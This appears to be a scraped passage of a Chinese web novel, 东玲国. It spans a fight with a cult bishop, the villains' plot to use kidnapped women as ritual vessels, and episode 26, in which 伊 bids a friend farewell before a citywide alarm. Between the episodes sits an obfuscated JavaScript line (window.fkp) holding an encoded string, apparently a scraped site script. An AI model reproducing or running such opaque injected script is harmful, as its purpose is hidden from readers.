突然,只听见叮的一声,那把劈下的大刀被斩断了。欧文猛地睁开眼睛,发现一个高大的身影伫立在自己的面前。毫无疑问,那人正是殇。殇用自己的那把小匕首斩断了主教的那把大刀,这令主教感觉到了不可思议。殇二话没说,抓住主教的肩膀将他直接推飞出去。殇下压身体,变出一把三叉戟,赶在主教落地前,一个疾步冲了上去。主教见了,用另一只手中的大刀格挡,但没想到殇并不是想要去攻击他,而是十分反常地将三叉戟插在了地面上。殇缓缓抬起头,自言自语道: “海王老哥,借你的招式一用。” 突然,在主教周围的地面上刺出了许多把三叉戟,每把三叉戟上都有闪电的存在。殇拔出三叉戟,猛地扔向了主教,然后瞬间后退数步。 殇: “雷霆矩阵,释放!” 轰隆几声,几道闪电从三叉戟中释放出来,瞬间电穿了主教的身躯。三叉戟随即消失了,主教随之跪倒在了地上。殇一个健步来到了主教面前,正要用开山拳处决主教,突然,全身负伤的邱出现在了区域的一侧。殇见了,瞬间绕到主教后面,一把勒住主教。殇对凯莉大喊道: “快!开枪击毙他!决不能让仪式完成。” 凯莉见了,瞬间就懵了。她慌张地抬起枪瞄准主教,正准备开火,她想到了一个关键的问题,就没扣动扳机。她摇摇头,告诉殇: “殇!不行啊,这会打到你的!” 殇狠狠地勒了一下主教的脖子,然后对着凯莉喊道: “没时间了!快开火!瞄准我!” “不行的!这枪......这这这枪威力大!你会死的!” “快!瞄准我!开火!” “不不不,不行的......” “我说了!开火!” 凯莉慌张起来,手脚开始颤抖,最后在殇的催促下,她闭上眼睛,本能地大叫一声,然后扣动了扳机。这一枪过后,主教被精准爆头击毙。这一切邱都看在眼里,他对凯莉这伙人的评价与先前完全不同了。凯莉有些恐惧地睁开眼睛,却看到了殇对着他笑,而他勒住的那个主教已经命丧黄泉。殇竟然没死!凯莉的眼神满是疑惑,她直接目光呆滞地愣住了。欧文和韩在不知不觉间来到凯莉身旁,韩紧紧地抱住了凯莉,欧文在一旁为凯莉鼓掌。欧文和韩一起笑着对凯莉说: “社长!你成功了!” 过了一会,凯莉回过神来,目光呆滞地低声说道: “怎么回事......殇怎么没死?” 韩用力摇了摇凯莉,想把凯莉摇醒,但此时的凯莉还处在惊魂未定的状态。任凭韩怎么摇她,凯莉仍是目光呆滞。韩边摇边对凯莉说: “醒醒!社长!这么喜庆的时候你怎么可以发呆呢?醒醒!社长!” 欧文凑过来,对凯莉说: “对啊,社长!你快醒过来!殇他没事的!” 此时,殇松开主教的脖子,又抓住主教背后的胳膊,然后一个回旋扔到红色护罩上。主教砸碎了护罩,还砸倒了两位魔法教徒。仪式突然被打断,中心圆台上生成的黑色的水晶茧瞬间破碎,祭祀仪式失败了。 凯莉回过神来,突然高兴地大叫一声,然后紧紧地抱住了一旁的韩。此时的凯莉心里已经被喜悦充满,这是她第一次感觉到如此开心。这下反客为主,凯莉用力地去摇韩,边摇边对韩说: “成功了!成功了!我们不再是窝囊废了!” 韩笑着点了点头,说道: “停停停,社长。我要被你摇晕了......” 这时,邱带着人赶了过来,上前询问状况。殇指着地上主教的尸体,又指了指与同伴一起欢呼的凯莉,告诉邱: “主教被凯莉所击杀。现在只剩下肃清这里剩余的教徒了。” 殇话音刚落,就注意到那些魔法教徒在哭泣着对圆台下跪道歉,言语中透露着恐惧与懊悔。突然,地面开始猛烈地颤动,那十六位魔法教徒似乎感受到什么似的抬起了头,直起腰版去看上面。一团黑中带紫的物质出现在了天花板上,看着这团物质,这些魔法教徒吓得都不敢动弹了。几道象征灾厄的红色雷电突然降下,劈死了这十六位魔法教徒。轰的一声,黑石柱瞬间碎裂,中心圆台与一旁的祭台也跟着四分五裂,血色的阵法慢慢崩坏,整个地宫开始颤动。圆台的底下突然出现了裂缝,这裂缝逐渐扩大,向着周围疯狂扩散。天花板上不时有石砖落下,天花板开始与墙壁开始崩塌。 殇: “快走!这里要塌了!” 在紧张刺激的逃跑过程后,殇他们逃出了出来。在一栋小烂尾楼的楼顶,殇他们注视着那座教堂。在殇他们的注视下,那座教堂土崩瓦解,化作一地的建筑碎块。一团红色的烈火在那些碎块中燃烧,很快就熄灭了。一阵狂风呼啸而过,卷起了教堂上的尘土。一阵风过后,这里发生的一切将很快被人遗忘,但有心人在这里所收获的成长,将会被铭记,这也是这个不该存在的地方唯一的价值。凯莉、欧文和韩在逃跑的过程中分别受了不同的的伤,但对于她们来说,这些伤将会成为她们的勋章,疼痛已然不再重要。她们在这里所收获的的东西,比黄金还要珍贵。 到了晚上...... 凯莉满心欢喜地坐在一间咖啡厅中等待殇的到来。她这辈子从没来过这么高级的地方,更没想过自己有一天能坐在高楼之上的咖啡厅之中俯瞰这座熟悉的城市。在等待的过程中,凯莉很是期待。她期待咖啡的味道,期待与殇会面时殇答应给她带来的惊喜。过了一会,殇来了。殇没有换衣服,还是白天时的那身装束。凯莉见到殇后,立马笑面相迎。 “殇!你终于来了。来坐吧。” 殇摆手拒绝。凯莉有些不安地晃了晃腿,然后笑着问殇: “你说这顿是你请,对吗?” 殇比了个手势,告诉她: “嘘......闭上眼睛。这顿你不用担心......” 凯莉点了点头,然后闭上眼睛,心怀期待地等待。过了一会,她发觉有些不对劲,就睁开了眼睛。这时,她的眼前还是黑的。她手往眼边一模,摸到了一双手。这时,她的面前身后传来了一个温柔的声音。 “猜猜我是谁?” 凯莉笑了笑,然后思考了一番,回答道: “韩?” “不对哦~~~再猜。” “难不成......是师傅?!” “猜对了哦。” 那双手松开了。凯莉转身回过身去一看,发现真的是她的师傅。 她师傅个子较高,有些瘦。她有着一头墨色的长发,有些偏卷发的样子;她并未让头发垂下来,而是工整地梳成了散开的马尾辫。她的肤色洁白,带有些红润;瞳色像翡翠,双目有神,星辰涌现其中。她漂亮的脸蛋上,五官俊秀;唯独可惜,右眼紧闭,其上有一道很长的刀疤。她给人有种无怒而威的感觉,看上一眼,就觉得她很危险,便不敢轻易靠近。 她此时很是惊喜,更是惊讶。她的小手捂住嘴,神色之中透露出了她心中的惊讶。她只是随口一说,没想到真是她的师傅。 莉莲(三阶四星高级调解人): “(温柔地说)怎么了?徒儿,见到我吓到了吗?” 凯莉: “(意犹未尽)没......没.......” 凯莉: “(温柔地笑)快,跟为师贴贴。” 莉莲搂住凯莉,两人脸贴脸地呆了一会,然后分开。莉莲坐到凯莉的对面,冲着凯莉露出了开心的笑。凯莉这时缓过神来,笑着问莉莲: “师傅,您今天怎么大驾光临了?” 莉莲笑笑,指着一旁站在门边准备偷偷离开的殇说: “殇,今天突然找到我,然后把我约到了这里谈话。到了这,他将你英勇击毙黑暗德鲁伊下等司教的事情告诉了我。” 凯莉点点头,慢慢看向了殇。殇正在拧门把手,准备推门离开。凯莉正要叫住殇,莉莲先开口打断了她。 “我听到后,大为震惊。等我去业内人员那边一打听,还真有此事。你的大名已经在介入人和调解人的圈子传开了。” 凯莉一脸难以置信地问莉莲: “真的?!师傅。” “没错。这次来,就是为了给我可爱的徒儿庆祝的。徒儿啊,你马上就有属于你的名号了。” “真的?!叫什么啊?” “边缘之枪。” “这有什么隐喻吗?” “据殇所言,你的精准度超乎常人的准。但是......指的是你击中你没瞄准的目标的精准度。举个例子,如果你瞄准我,那么除了我以外,你都可以精准地狙杀掉。” 凯莉握紧了拳头,笑容上多了几分阴森。她转过头去看门那边,发现殇正坏笑着对自己挥手道别。凯莉对着殇竖了个中指,殇见了,耸耸肩,然后关上门离开了。 离开了这里之后,殇在大街上散步。此时距离伊下班还有将近一个小时的时间,他不用现在就赶过去接伊回家。散步的时候,殇仔细地回想着他在咖啡厅与莉莲的一问一答。 “你说你那时候去看过椿木雄一郎的尸体,对吗?” “没错。” “你发现了什么?” “他应该还没有死。他的体内的核心消失了,而且我从他的尸体之中没有找到类似于心脏的器官。我只找了一团死掉的大片绿藻......” “那你的意思是他还活着?!” “大概率是的。” “那怎么可能呢?等等......那时候有一个傀儡在他时候还能活动!会不会......” “如你想的一样。傀儡只有在傀儡师彻底死亡之后,才会跟着一起消亡。” “操!我那时怎么就没想到这些......怪不得他说他不怕死。” “殇,你要小心了。到时候更加强大的傀儡师将会在都市之中出现,一阵腥风血雨无法避免。” “操!黑!真他妈黑!” ...... 在黑暗德鲁伊的总部之中,阴霾笼罩这里的每个角落,不可名状的扭曲之象在其中起舞。此刻,在血色与紫罗兰色交替存在神殿内,一尊破损的神像正伫立其中。神像之下,是教皇康帝正在虔诚地祷告。祷告过后,神像上的黑色水晶内出现了一双白色的眼睛。康帝见了,与其谈话。 康帝: “(虔诚)厄嘉耶罗什大人,为了您归来而准备的器皿正逐渐变得愈发完美。我们挑选了这世界上样貌最美丽、身材最完美、性格最温顺的几名女人作为您的器皿。为此,我们不惜绑架了各路豪权贵人家里的姑娘,最大的一票甚至是邪门之主与正道之主的女儿。” 厄嘉耶罗什: “(笑)很好。我最虔诚的朋友。你们给那些器皿喂食极阴之果了吗?万古之尘呢?” 康帝: “喂了,都喂了。喂完了,效果甚佳。她们比以前更加适合成为器皿了!甚至有些......能吸引到我们的司教了。” 厄嘉耶罗什: “(笑)哦?看来你的手下是想成为我的极乐造物吗?哈哈哈......(瞬间严肃)看好你的那些手下。我希望器皿不能是不干净的,不然......” 康帝周围的地面上燃起了猩红色与紫罗兰色共存在一起的一团烈火,这团烈火猛地向上喷涌一下,直接照亮了整座神殿。康帝见了,虔诚地向厄嘉耶罗什保证道: “大人,我保证器皿绝对干净!我不会让你沾染上任何的污浊的!那些器皿将会生活在绝对安全的环境之中,没人能够给去玷污!我用我的灵魂保证!我的主。” 厄嘉耶罗什: “(严肃)愿你说的谎话是可笑的谎言,而不是事实。” 康帝: “我保证这谎言是谎言......” 厄嘉耶罗什: “(好奇)对了,那个肮脏且低贱的窃贼你找到了吗?” 康帝: “(羞愧)你是说安吉拉那个贱人吗?还没......我们找了她很久,可就是找不到她的人。她最后一次出现是在殇王国的国家研究部之中,那是好几年前的事了......” 厄嘉耶罗什: “(愤怒)这个窃贼偷走了我的一部分力量,还剽窃我的创意,甚至于偷走了虫主那个老混蛋的血液,说是要通过三相之力的混合产物来去拯救这个世界。你评价评价......” 康帝: “愚蠢!蠢到家了!比猪还蠢!” 厄嘉耶罗什: “可最后她创造出了什么呢?可悲啊......明知肉体羸弱,不经修炼,难成大器。可她却选择了可笑至极的奇迹!哈哈哈哈!你觉得有几个人能够承受这三种力量?就光拎出来我的这一种,就足以反噬他们了!” 康帝: “(笑)最可笑的是......” 那团火焰再次向上喷涌,康帝见了,立马闭嘴。 厄嘉耶罗什: “你不许说,我说。” 康帝: “(严肃)明白了,我的主。” 厄嘉耶罗什: “(笑)最可笑的是,她竟然选择以毒攻毒。用病毒来去打败病毒!可笑至极!可笑至极啊!最后换来个什么结局呢?众叛亲离、无有定所、被人排斥,最后人间蒸发一了百了。说不定,还在做着她那美梦呢!你再给评价评价......” 康帝: “(笑)只能说,步子迈大了会扯着蛋,当了二五仔会招人厌!” 厄嘉耶罗什: “(开心)哈哈哈哈!你这朋友真是不错啊......” ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第二十六话:朋友离去与格局改变 通历43年7月19日上午11点35分许,在奶茶店中,伊正站在柜台里工作,虽然今日依旧是没几个人来。突然,奶茶店里来了一位绿头发的年轻姑娘。从她的短发与她的装束中,伊可以看出她的阳光与乐观。她走到柜台前,笑着对伊打招呼: “中午好啊!漂亮姐姐。” 伊也笑着对她打招呼: “您好呀!漂亮的女士。” 她听了,双手叉腰摇了摇头,告诉伊: “不要叫我女士,那样显得我很老。” 伊点了点头,问道: “那我该叫你什么呢?” 她摸着下巴想了想,笑着说道: “你该叫我妹子!这样叫好听。” 伊点了点头,微笑着说道: “哦。知道了。妹子,你要点什么?” 她撅起嘴想了想,又摆了摆手指头,嘴里嘀咕了几句,然后下定了决心,对看着展示牌上最贵的那杯奶茶说道: “漂亮姐姐,我要那杯最贵的下面的那个。” 伊抬头看去,看到了她要的那杯奶茶。她低下头,熟练地操作了一下电脑,输入编号,然后弹出了它的价格。伊抬起头看着她,问道: “大杯小杯?” 她笑着回答道: “大杯的!我喜欢大的。” “加冰吗?” “不加。暖点养身体的了。” “放珍珠吗?” “不放。我想喝起来轻松一点。” “总共3.56元。扫码?扫义眼?还是现金?” “哦。有些贵诶。” “那么您还要吗?” “要!我肯定是要滴。” 她从大衣口袋里拿出钱,然后将钱递给了伊。递的时候还说了一句: “喏,给你,漂亮姐姐。” 伊借过钱,将钱放入收银台。伊有些熟练地撕下小票,然后将小票递给了她。她笑了笑,接过小票的时候还夸了伊一句: “漂亮姐姐,你可真温柔。” 伊笑而不语,转身去后面的高科技奶茶机前进行操作。过了一会,伊拿着一杯温暖的奶茶走到了柜台前。她见伊来了,笑着迎了上来。伊将手中的奶茶递给她,她笑面迎接。接过奶茶之后,她还不忘跟伊说声谢谢。她将吸管插进奶茶杯中,然后一脸享受地嘬了一口。喝完这口,她用温柔的声音对伊夸赞道: “好甜呀,就像姐姐你的话语一样呢。” 伊听了,害羞地挠了挠头,笑着摇了摇头。就在这时,她的电话突然响了。她又嘬了一口奶茶,然后转过身去接通了电话。 电话那头: “绿草,你跑哪里去了?” 她看了伊一眼,然后笑着说道: “我去买点‘生活必需品’。” 电话那头: “啊?又是奶茶吗?” 她挠了挠头,尬笑着回答道: “没错,姐。” 电话那头: “好吧,起码你现在很清闲不是吗?” 她点了点头,回答道: “对对对。不用担心我的,姐。我很快就回去的。” 电话那头: “总之,注意安全。” 茵萌萌: “(微笑)嗯。知道了,姐。” 电话那头: “对了,我现在有些胸闷,还有点晕。家里的速效药没了。你去问问冰水绣球,看他那儿有没有。有的话找他要点。” 茵萌萌: “(微笑)姐,你为啥不去亲自要点。” 电话那头: “......别问。” 茵萌萌: “(笑)不用对我遮遮掩掩的,姐。(小声)我知道姐你是不好意思去要,谁叫你是我们强大的姐呢!” 电话那头: “......” 茵萌萌: “(小声)北子哥也不会忌讳你的,你要是去要,他也一定会双手奉上的,更何况你是我们尊敬的大姐头呢。姐,你要主动点,北子哥又不是什么坏人。你要是再让我去找北子哥要,我也会不好意思的。” 电话那头: “你是老大我是老大?你要是再往下说一句,你等着回去的......不想要大拇指了?” 茵萌萌: “(小声)不不不。您是,您是。好的,我就按姐的你的旨意,去找北子哥征用点药品。” 电话那头: “说的跟我欠他的似的,晦气......我到时候会给他钱的,你就负责给我取个药,后续的我来处理。” 茵萌萌: “(笑)好的,姐。” 说完,她挂断了电话。她转过身来,对着伊挥手道别。伊见了,也挥手与她道别。伊想问她一个问题,可话到嘴边,她又把话憋了回去。虽然没有去问,但伊也猜出她是茵萌萌。她慢慢走出了奶茶店,伊看着她,回想起了星北空的话。 她走后没一会,一个熟悉的身影走进了奶茶店。伊回过神来,抬头看去,发现对方是倪汝美。倪汝美皱着眉,表情凝重,眼神之中流露出悲伤与不舍,似乎是遇到了什么大事。伊对着她打招呼,她也对着伊打招呼。这时,伊敏锐的眼神注意到了倪汝美的异样,她收起笑容,问倪汝美: “倪汝美,怎么了?” 倪汝美走到柜台前,轻轻地抓住伊的手,低着头不吭声许久。伊见了,以为是出了什么大事。过了一会,倪汝美小声地对伊说: “麻烦给我来两杯奶茶,随便那种都行。一杯给你,一杯给我。” 伊点了点头,照办了。过了一会,伊拿来了两杯原味奶茶,倪汝美见了掏出钱来付账。付完账,倪汝美小声对伊说: “你能陪我喝一杯奶茶吗?在店里的一角。我有点事想跟你说。” 伊自然是没有拒绝,答应了她。两人坐在了奶茶店中为数不多能看到店外风景的位置上,似乎是倪汝美想表达些什么。坐下后,倪汝美心情低落地喝了一口奶茶,然后拄着下巴呆呆地望着窗外的大街。伊看着她,看出了她眼中的悲伤与迷茫。伊用温柔的语气去问她: “倪汝美,说吧。有什么伤心的事都说出来,我在你身旁,我能替你分担烦恼忧愁。” 倪汝美看了伊一眼,又转过头去看风景。她轻轻地转着手中的奶茶杯,眼神呆滞,似乎是在想怎么跟伊诉说。伊明白她的性格,所以就静静地等待着她开口。过了一会,倪汝美不转奶茶杯,她放下了奶茶杯,然后装过头来看着伊。倪汝美缓缓开口,没说说出来意,而是先问了伊一个问题。 “你下午有时间吗?” 问出这个问题的时候,她的眼睛死死地盯着伊的眼睛,似乎想从伊的眼神之中要出答案。伊攥了攥拳头,露出了些许难堪的表情。这几日她已经因为各种事耽误过正常上班好几次了,她害怕再去这么店长会开除她。倪汝美见她这个表情,瞬间变得愁眉苦脸起来。她伤心地叹了口气,心存一丝希望地问伊: “不能吗?” 在朋友与工作之间,伊犹豫了许久。她回想起倪汝美与她的那些时光,那很快乐。她又回想起殇干活时的身影,殇很累,她不想给殇增加负担。错过是什么样?不错过又是什么样?这两个问题萦绕在她的心头。在十几秒的思考之后,她做出了最后决定。伊用坚定的语气告诉倪汝美: “有!我有时间。无论发生什么,只要你需要我,我就会陪伴在你的身边。” 倪汝美闭上眼睛露出了笑容。见到她笑了,伊也跟着笑了。倪汝美喝了一口奶茶,细细品味了一下这奶茶的甜味。她轻轻地放下奶茶,笑容在此刻转瞬即逝。她心情复杂地告诉伊: “伊。我今天下午一点多就离开这座城市了。我要回到我的另一个家,去一个好心叔叔那里生活。” 听到这消息时,伊很震惊。她没想到两人相见的日子竟如此短暂。她本想着让两人的友谊之花开得旺盛一些,没等来完全绽放的那一天,先等来了下雪的那一天。时间匆匆地去了,就如它匆匆地来。她木讷了片刻,然后心情也变得低落起来。伊问倪汝美: “你还回来吗?” 倪汝美摇了摇头,告诉伊: “不回来了。这一走,就是永恒了。因此......我来找你告别。” “真的再也不回来了吗?” “真的。” “好可惜啊......” 倪汝美的眼神逐渐悲怆起来,因为她知道她与你的缘分可能就止步于今天了。她与伊难舍难分,她将伊视作了最好的朋友。有苦有泪,她都可以向伊倾诉。若以后两人不再见面,她又将向谁倾诉呢?明天是未知的,她也许能有天大的福分再遇到一个像伊一样的朋友,可那种事情在她心里发生的几率为百分之零。她的双眼被阴云所笼罩,一场大雨呼啸着而下。她的眼中看不到未来,只有现在的迷茫。倪汝美一脸担心地对伊说: “我现在不知道该去期盼什么了。离开了你,我又将回到那种生活之中。我很害怕,我害怕因为我的特异之处而引得另一批人嘲笑。我不想生活在嘲笑声与鄙夷的目光之中......只要踏足那样地狱一次,我就不会再想回头。我想留在这里,但又不得不离开......” “倪汝美,不用伤心与害怕。学着去接受,有些人与生俱来的缺点并不是一个人一辈子的污点的。那嘲笑与鄙夷不会伴随你一生的,会有办法的。一切都会好起来的。” “可是......我不知道该去怎么面对。办法是什么?我找不到......我现在很迷茫。以后到了其他城市,就没有向你这样心善的人了。” 倪汝美的心灵在风雨中瑟瑟发抖;她的周围都是雾蒙蒙的,除了一抹灰色与淅淅沥沥的雨点以外她什么也看不到。迷茫、无助、害怕、孤独涌上了她的心头,她什么也做不了,除了默默地忍受这一切。正当倪汝美的心灵在风雨中迷茫的时候,突然,伊拉住了她的手,将她从风雨中拉回来现实。伊用温柔的语气对她说: “相信光吧!” “光?” “我化作了一盏明灯,将你从黑暗中解救。到了分别的时候,黑暗会再度归来。可你已经见到过光明,在黑暗中前进便会勇敢。” “你说的这些......我有些不懂......” “你听说过传火吗?” “听过......” “我将火种授予你,你将会用烈火报答我。若你到了陌生的地方,人人都以恶意对待你。你去试着用善意去对待他们,即便他们不去接受。但请记住,再冰冷的内心也无法抵挡光的消磨。爱会消去一切伤疤与间隔。” 听到伊这么说,倪汝美是出乎意料的感动。她的双眼之中的大雨呼啸过后,出现了一抹彩虹。迷茫瞬间消失,她已然看到了未来的道路。她紧紧地握住伊的手,迟迟不肯撒开。她的脸上洋溢起一抹纯真的笑容,一滴一滴的泪水从她的眼角流下。她是笑着流泪的,这是感动的泪水。她心里的千言万语汇聚成了简短的一句话,她笑着对伊说出: “万分感谢,我一定会记住你的教诲的。” 伊笑了,笑得格外灿烂。伊握紧倪汝美的手,用温柔的语气对她说: “那我陪陪你吧,在你离去前的最后时间里。” 倪汝美点了点头,满心感动地说道: “万分感谢,伊。” “不用客气,我们是朋友不是吗?” “对。我们是朋友,永远都是!” “对,永远都是!” 伊为倪汝美擦去两滴泪水,并笑着跟她说: “别哭了,在哭你就不美了。” 倪汝美听了,笑着擦了擦眼角的泪水,说道: “嗯。” 这时,店长法戈·明慢慢走了过来。看到店长来了,伊正要开口请假,没想到店长先开口打断了她。伊殊不知,自己与倪汝美说的话都被他给听到了。店长看了看伊,又看了看倪汝美,思考片刻,对着两人说道: “你们的故事令我感动。一段珍贵的友谊往往是永恒的。” 伊和倪汝美相互对视了一眼。 “这都是人情世故。去吧,伊,我给你假,工资我今天也照样给你开。” 伊听了,赶忙起身就要鞠躬感谢,法戈·明赶忙阻止她,并告诉她: “不用这样!都是小事的。” 伊笑着对法戈·明感谢道: “谢谢店长!” 法戈·明听了,摇摇头,然后语重心长地告诉伊: “去吧,别让错过成为遗憾。” 喝完这两杯奶茶,伊和倪汝美去到了两人结下友情的那座公园。在熟悉的位置,两人再度坐下。沃兹河上水波荡漾,湍湍的水流轻轻流过。清风徐来,垂柳在风中摇曳。几片浮萍随波飘来,几只水鸭嬉戏其中;几朵莲花盛开,淡淡的花香随风飘向远方。看着沃兹河上的美景,两人的手拉在了一起,两人的心也靠在了一起。 在柳树下,倪汝美向伊诉说了她的担忧,伊用温柔的语气告诉了她解决办法,并提出了很多有益建议。谈话间,倪汝美对未来的恐惧逐渐被希望所替代,她不再迷茫,逐渐有了对未来的规划。两人的友谊虽有短短几日,但两人的关系已经到了难舍难分的地步。伊的爱与善意在她黑暗的世界中升起一座灯塔,照亮了她前进的道路。对于她来说,伊是她最爱的那个人,是她最好的朋友。 到了离别的时候,她站在站台上,面前是一列列车。她盎然回首,发现伊正在进入站台的入口处对着她挥手。倪汝美见了,轻抿嘴唇露出微笑,喜上眉梢。她的心里暖暖的,还有些不舍。她的眼泪又要流出,她急忙转过头去,抹了抹眼泪,又转过来头来看着伊。 由于要确保列车上没有感染者,所有乘坐列车的人在上车前都要统一在候车室进行检查,未佩戴口罩者直接驱逐出火车站。在检查过后,确认安全才能让其进入站台。到了站台上,要进行二次检查,由AI来执行。再确认安全了之后才有登上列车的权利。为了保证结果的准确,跟来的家属只能在站台区外送别,这是殇王国所推行的决定。 伊边挥手边对倪汝美喊道: “再见!倪汝美。到了新城市别忘给我发条短信!我会想你的!” 眼泪不经意间流下,她用手擦了擦,哽咽了一下,也挥手对伊道别。她流着泪笑着对伊喊道: “我们是永远的朋友!伊。再见,我永远爱你。” 此情此景,伊的眼角也不禁流下了几滴泪,她舍不得她离开。她没有哭,只是笑着流泪。伊流着泪笑着对倪汝美说: “我也会想你的!我们永远是朋友!” “嗯。你注意点安全,要是再有坏家伙欺负你,你就找你的殇大哥去。答应我,好好的,好吗?” “好!你也要多注意安全,注意注意饮食。要是想我了,给我发几条短信,我们在手机上聊。” “嗯。” 此时,广播响起,通知站台上所有人员准备进入列车。车门打开,旅客拿着行李陆陆续续上了车。倪汝美见了,也知道到了真正离别的时候了。倪汝美从口袋里拿出了一块表,然后对一旁的站台服务人员说了什么,接着就把表递了过去。站台服务人员接过表,点了点头。倪汝美回首看向伊,心中的不舍此刻达到了极点。她很想此时突然掉头走回去,去紧紧地抱住伊,跟她说不走了。可为了赴约,她不能那么做。她不想离开,可是又不得不离开,理由她自己清楚。上车前,倪汝美深情地对伊喊道: “愿我们在以后还有相逢的时候,我亲爱的朋友。再见!” 伊也深情地回应她: “会有机会的!我亲爱的朋友。一路顺风!” 她慢慢悠悠地走上车,似乎每往上走一步都是在做重大的决定。她坐到属于自己的座位上,靠窗户,可惜是看到了另一侧,没有伊的那一侧。车门关上,车内回想起了悠扬婉转的小提琴曲,她曾经听过,还记得名字。她闭上眼睛,静静地聆听这首曲子。闭上眼,就想到了伊那亲切的面孔,接着想到了两人的遭遇与回忆。想着想着,她抿了抿嘴唇,尝到了一丝苦涩,那是她眼泪的味道。那苦涩在她嘴里慢慢变得甜蜜,因为她回想起了伊曾教诲自己的那些道理。 “倪汝美,你有那不死的能力可以去做消防员啊!消防员的工作可危险了,但凭借你的特异能力,你便不会惧怕那些危险。你可以靠你的力量去拯救更多的生命!” “真的吗?!” “可以的。成为一个为人民服务的人,本身就是件光荣的事。成为那样的人,你的人生会很有意义的。当你成为英雄的时候,那诅咒也便失去了意义。这是在打神的脸!” “真的吗?我真的可以去成为那样的人吗?” “可以的。所谓力量越大责任越大吗!放心大胆地去吧,不要让自卑成了你前进的阻碍。” 列车缓缓开走,她呆呆地看着窗外的风景。灰色的城市渐渐淡出她的视野,从远处观望这座城市,别有一番韵味。走远了,老是觉得想是脱离了噩梦,那城市的缺点在此刻变得十分显眼。倘若再次回归,那缺点就显得不那么重要了。地平线的一抹绿色,连接天空的蔚蓝。那是山峰与森林,还是一片广袤的草原?当城市小到难以看清的时候,一种不舍竟油然而生。在这里生活久了,才发现那里虽然贫困与危险,但是走了总想着回去看一眼。 倪汝美看向了前方。她看到了荒芜的大地与远处的沃野,还有蔚蓝似海的天空与几朵白云。烈日当空,地面上热浪滚滚。虽是荒芜,但时长能见到几丛努力生长的小草与小花。路过荒废的无名小镇,还能看到几个感染者站在楼顶上仰望这列火车。一阵风吹来,他们似乎是有了意识,竟高举双臂,挥手送别旅客。倪汝美见了,既惊讶又感动。离别时的伤感逐渐变成了对未来的期待,听着这首曲子,她畅想起了未来的日子。这首曲子叫《离别》,虽是感伤的主调,但最后却是激昂的收尾。正如生活,悲伤是一时的,走过悲伤,就要拥抱新的希望。 目送倪汝美离开后,伊擦了擦脸上的泪水,在心里默默地祝福倪汝美。然后,她就准备离开。就在这时,站台的工作人员叫住了她。伊停下脚步,转头看去。那名工作人员将一块老式皮带手表交给了伊,并告诉她: “这是你的一位朋友托我交给你的。” 伊看着这块手表,只觉得鼻子一阵酸楚,心里是一阵感动。她握紧这块手表,发现这块手表沉甸甸的,似乎是在内部结构中隐藏了黄金。她握着这块手表,露出一抹微笑。两行热泪流下,心念那段短暂而又珍贵的友谊。一朵百合花在两人的心灵之中盛开。 在回去的路上,几朵紫色的云彩飘来,笼罩在城市上空,遮蔽住了太阳。整个城市瞬间阴沉了下来,不明所以的人在四处张望。紫色的薄雾渐渐在城市中弥漫开来,恐惧也随之扩散。空气逐渐凝固,城内的气氛变得凝重。突然,城市内的广播集体激活,并向全城播报紧急事件。 广播: “警告!耀斑市附近的林州市出现扭曲异动,全城即将进入封锁状态。扭曲影响区正在膨胀,扭曲生物即将开始暴动。请全城的战斗人员立即做好战斗准备!非战斗人员请保护好自己!” 城市里回荡起入侵警报声,街上的行人四散奔逃。逆着人流,警备队与都市猎人们走上了街头。伊见了,也准备随着行人撤退到安全的地方。就在这时,一辆装甲悬浮车突然空降在伊的面前,伊立马停下脚步。车门快速打开,杨三刀和苍白从中走出。今日两人的装扮与以往不同,苍白在指挥官的服装外套上了一层轻型外骨骼装甲,杨三刀则是换上了一身白色的剑客服。见到两人,伊有些好奇,于是问道: “苍白先生,之前帮我的那个好心叔叔,你们怎么来了?” 苍白和杨三刀对视了一眼,接着苍白一脸严肃地告诉伊: “伊小姐。我们需要你......” 今天早上的时候...... 轩突然惊醒,从床上惊坐起。汗水从她的额头上流下,她喘着气,心扑通扑通跳。她做了一场噩梦,一场有关于墨子邵的噩梦。墨子邵已经离去多日,但她仍心心念念。每当回想,都不禁鼻子发酸,心里难受。她慢慢地从噩梦的影响中摆脱出来,渐渐冷静下来。这时,她发现自己的左臂小臂内侧多了一个怪异的印记。像一个眼睛,又像一片叶子。她轻轻地用手去摸,这个印记瞬间暗淡下来,一会又慢慢恢复过来。她摸了摸自己的头顶,发现并没有出现龙角。 从佩戴龙印的那天开始,她对体内的洪荒之力的掌控愈发强大。似乎是墨子邵的离去所影响,在那次冲破龙印之后,她更能熟练地使用这股力量,让这股力量能为之善用。 到了上午的时候,她此刻如往常一样在朝圣殿内守护皇帝的安全。今天有些不同,有些特殊的客人突然来到了皇宫之中。轩的眼睛突然变成蓝色,她本能地去看大殿外的情况。透过大殿前紧闭的神机门,她看到了一伙散发着危险的人员正在靠近。 轩: “(警觉)不好!殿下可能有危险。” 她察觉到危险,拔出腰间的剑,一个健步冲出大殿。似乘风而行,转眼间就来到大殿门口的平台下。她拿着剑,十分警觉地盯着神机门。她的剑锋之上泛起粉红色的火焰与紫色的雷电,一对龙角出现她的头上。大殿周围的士兵见她这样,以为是什么强敌闯入了皇宫,立即就进入了警戒状态。见到大殿外如此,太玄国皇帝胤也走出了大殿,去一探究竟。 神机门慢慢打开,一个披着红色带绒大衣、身着紫色长袍的女人在两位身高近十尺的巨神兵陪同下走向大殿,那名女人的身后悬浮着五对白体镀金的规则之手。她出现在众人视野里仅仅几秒,她那强大的气场就震慑住了除了轩以外的所有人。无需思考,众人一眼就认出了她的身份。皇帝胤见了,挤出笑脸问道: “肃清者,你今日怎么不说一声就来了呢。你是要给我个惊喜,还是给我个惊吓呢?” 肃清者嘴角微微上扬,露出一抹神秘的微笑。她伸出手,打了个响指,两个巨神兵往边上一走,给肃清者背后的白发姑娘让出了地方。肃清者歪着头对身后的白发姑娘说: “上前来,阳。让我们的朋友好好看看你。” 